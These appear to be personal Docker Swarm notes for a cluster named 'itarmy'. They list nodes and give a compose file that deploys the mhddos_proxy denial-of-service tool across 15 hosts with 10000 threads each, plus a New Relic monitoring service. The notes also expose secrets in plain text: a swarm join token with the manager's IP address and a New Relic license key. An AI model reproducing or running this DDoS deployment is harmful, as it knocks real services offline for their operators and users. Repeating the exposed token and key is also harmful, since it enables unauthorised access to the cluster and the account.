Docker Swarm itarmy
Docker Swarm management
init swarm
nodes
list nodes
# list nodes
docker node ls
ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION
6ksl1n3ur4dcpnhqddftjlu7z oci-e003kurian-arm-nonfree Ready Active 23.0.4
v9wn0ounr061itvojddj41mmw * oci-e003kurian-mainarm Ready Active Leader 23.0.4
lgwenxg6rhjj78usmg0glkx5f oci-e003kurian-x86-01 Down Active 23.0.4
wiuw5gulea346totcqgb55qvu oci-e003kurian-x86-02 Down Active 23.0.4
get join token
add worker node
docker swarm join --token SWMTKN-1-1xo8rcekxfge5xvznfffqoab7gk1hd7gxwy7capb77zoysz6vs-85koyursclly99g71o4pzns99 100.123.167.124:2377
remove node
remove all nodes
leave swarm
list servicers
list containers
Misc
rebalance service
service
version: '3.9'
services:
itarmy-auto-single:
network_mode: host
image: ghcr.io/porthole-ascend-cinnamon/mhddos_proxy
environment:
- lang=UA
- user-id=1948975620
- copies=auto
- threads=10000
command: --lang UA --user-id 1948975620 --copies auto --threads 10000
networks:
- outside
deploy:
replicas: 15
placement:
max_replicas_per_node: 1
update_config:
parallelism: 1
order: start-first
networks:
outside:
external:
name: "host"
new relic
version: "3.9"
services:
infrastructure:
container_name: newrelic-infra
restart: unless-stopped
network_mode: host
privileged: true
pid: host
volumes:
- '/:/host:ro'
- '/var/run/docker.sock:/var/run/docker.sock'
environment:
- NRIA_LICENSE_KEY=9b58e312da6f3e57164ba02b71031acc2710NRAL
image: 'newrelic/infrastructure:latest'
networks:
- outside
deploy:
replicas: 15
placement:
max_replicas_per_node: 1
update_config:
parallelism: 1
order: start-first
networks:
outside:
external:
name: "host"